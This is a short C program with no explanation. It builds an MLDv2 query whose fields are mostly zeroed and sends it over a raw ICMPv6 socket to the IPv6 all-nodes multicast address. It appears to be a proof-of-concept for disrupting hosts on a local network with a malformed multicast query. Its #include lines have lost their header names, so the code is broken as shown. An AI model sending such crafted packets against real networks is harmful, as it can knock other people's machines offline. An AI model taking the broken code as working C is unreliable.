#include #include #include #include #include #include #include #define IFINDEX 5 //Please adjust me first. struct mld2_query { uint8_t type; uint8_t code; uint16_t csum; uint16_t mrc; uint16_t resv1; struct in6_addr mca; uint8_t qrv:3, suppress:1, resv2:4; uint8_t qqic; uint16_t nsrcs; struct in6_addr srcs[0]; }; int main(int argc ,char *argv[]) { int len, sockfd; struct mld2_query query; struct sockaddr_in6 addr; memset(&addr, 0x00, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_scope_id = IFINDEX; inet_pton(PF_INET6, "FF02::1", &addr.sin6_addr); memset(&query, 0x00, sizeof(query)); query.type = 130; inet_pton(PF_INET6, "FF02::2000", &query.mca); sockfd = socket(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6); sendto(sockfd, &query, sizeof(query), 0, (struct sockaddr *)&addr, sizeof(addr)); }